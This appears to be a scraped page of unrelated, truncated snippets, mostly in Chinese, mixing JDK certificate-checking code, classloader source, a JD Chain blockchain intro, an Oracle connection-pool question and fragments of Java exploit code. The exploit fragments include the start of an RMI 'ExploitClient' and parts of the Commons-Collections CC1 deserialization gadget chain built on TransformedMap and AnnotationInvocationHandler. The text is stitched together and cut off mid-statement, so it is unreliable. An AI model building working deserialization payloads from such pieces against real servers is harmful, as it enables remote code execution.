AI代码解释 publicclassExploitClient{publicstaticvoidmain(String[]args){try{String serverAddress=args[0];int port=Integer.parseInt(args[1]);String localAddress=args[2];//启动web server,提供远程下载要调用类的接口System.out.pr
{ return null; } public void check(Certificate cert, Collection<String> unresolvedCritExts) throws CertPathValidatorException { X509Certificate c = (X509Certificate)cert; String sa = c.getSigAlgName(); Key key = c.getPublicKey(); AlgorithmConstraints constraints = new SimpleConstraints(); if (...
jdchain是京东数科开源的区块链平台,目标是实现一个面向企业应用场景的通用区块链框架系统,能够作为企业级基础设施,为业务创新提供高效、灵活和安全的解决方案。之所以选择jdchain研究是因为jdchain是为数不多的底层也是采用java实现的一个区块链平台 项目地址:https://github.com/blockchain... 文档地址:http://ledger...
It also applies to the signature and digest algorithms of the certificates in the certificate chain of the code signer and the Timestamp Authority, and any CRLs or OCSP responses that are used to verify if those certificates have been revoked. These restrictions also apply to signed JCE ...
synchronized (getClassLoadingLock(name)) {//判断是否已经加载过了,如果没有,则进行load//First, check if the class has already been loadedClass<?> c =findLoadedClass(name);if(c ==null) {if(c ==null) {//If still not found, then invoke findClass in order//to find the class.longt1 =...
最近在系统长时间运行后,如果在Oracle后台,KILL了一个Session之后,由于系统还是在频繁使用连接,我把timeBetweenEvictionRunsMillis设置为10秒,但是好像还是不会把这种失效的链接从连接池中清除掉。还是会继续让业务调用,造成经常出现connection holder is null的错误
Although not-null, immutable variables with sensible defaults are often desired, it is not always the case. It is sometimes required to check if multiple
Map outmap = TransformedMap.decorate(innermap, null, transformerChain); //通过反射获得AnnotationInvocationHandler类对象 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //通过反射获得cls的构造函数 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ...
specified value is invalid * @throws ClassCastException if the class of the specified value is invalid * @throws NullPointerException if the specified value is null and nulls are invalid */ protected abstract Object checkSetValue(Object value); protected boolean isSetValueChecking() { return ...
如果这里map.put传入的 key ,在Target.class中没有对应的成员名称的话,var3就找不到var6,那么var7就为null,就无法执行下面的setValue了。 六、利用链 这里模仿 ysoserial 描述的利用链写出CC1的TransformedMap利用链 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() MapEntry.set...